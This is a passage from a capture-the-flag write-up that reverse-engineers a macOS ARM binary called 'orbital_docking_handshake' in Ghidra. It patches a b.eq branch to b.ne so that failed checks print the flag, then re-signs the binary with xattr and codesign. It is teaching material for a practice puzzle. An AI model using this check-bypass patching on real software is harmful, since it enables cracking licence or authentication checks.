XREF[1]: 10000061c(j) 100000620 00 00 00 90 adrp x0,0x100000000 100000624 00 88 29 91 add x0=\u0026gt;s_Alignment_window_rejected._100000a62,x0, = \u0026#34;Alignment window rejected.\u0026#34; 100000628 ab 00 00 94 bl _puts int _puts(char * param_1) 10000062c 28 00 80 52 mov w8,#0x1 100000630 e8 27 00 b9 str w8,[sp, #local_8c] 100000634 06 00 00 14 b LAB_10000064c LAB_100000638 XREF[1]: 100000618(j) 100000638 e1 1f 40 b9 ldr w1,[sp, #local_94] 10000063c e0 2f 01 91 add x0,sp,#0x4b 100000640 5e 00 00 94 bl _print_flag undefined _print_flag() 100000644 ff 27 00 b9 str wzr,[sp, #local_8c] 100000648 01 00 00 14 b LAB_10000064c 100000618 00 01 00 54 b.eq LAB_100000638 is our point of interest.\nIn ARM assembly, b.eq just means branch if equal. So what\u0026rsquo;s the opposite of that? b.ne — branch if not equal. Patch it. After that, this is what our decompiled code looks like:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 else { _build_expected_phrase(); iVar2 = _compute_grid_offset(auStack_65); iVar3 = _atoi(acStack_85); iVar4 = _compare_identity(acStack_58,auStack_65); if (iVar4 == 0) { if (iVar3 - iVar2 == 0) { uVar1 = _puts(\u0026#34;Alignment window rejected.\u0026#34;); uVar7 = (ulong)uVar1; local_8c = 1; } else { uVar7 = _print_flag(iVar3 - iVar2,auStack_65,iVar2); local_8c = 0; } } else { uVar1 = _puts(\u0026#34;Handshake rejected. Docking denied.\u0026#34;); uVar7 = (ulong)uVar1; local_8c = 1; } } So now, if the checks fail the program is going to print out the flag.\nGo to Ghidra, File \u0026gt; Export Program, Format: Original File, and make sure under Options, Export User Byte Modifications is checked.\nYou should have a new binary at the location that you specified during export. Let\u0026rsquo;s run it!\n1 2 3 4 5 6 7 ~ ❯ sudo chmod +x orbital_docking_handshake Password: ~ 3s ❯ ./orbital_docking_handshake zsh: killed ./orbital_docking_handshake Oops. Well, it\u0026rsquo;s just Apple being Apple. Let\u0026rsquo;s fix that.\n1 2 3 4 5 6 ~ ❯ xattr -c ./orbital_docking_handshake ~ ❯ codesign --force --deep --sign - ./orbital_docking_handshake ./orbital_docking_handshake: replacing existing signature Re-run the executable. Type anything you want and make it fail.\n1 2 3 4 5 6 7 8 9 ~ ❯ ./orbital_docking_handshake Orbital Docking Handshake Trace the handshake routine, recover the correct phrase, and align the approach window. Hint for analysts: the shortest path is still the cleanest one. Docking phrase: 67676767 Alignment window: 69696969 Docking accepted. Flag: bitctf{{0rb1t4l_d0ck1ng_r0ut1n3}} And you shall succeed.\n💡 Tip There are other dumb ways to solve this. Maybe NOP out the other checks. Or make _compute_grid_offset return a fixed number. The main idea is that we need to reach the _print_flag function somehow. Doesn\u0026rsquo;t matter how you do it.\nThanks for reading!\n— s1nisteR\n","date":"2026-06-20T00:00:00Z","permalink":"/posts/orbital-docking-handshake/","title":"Orbital Docking Handshake"}]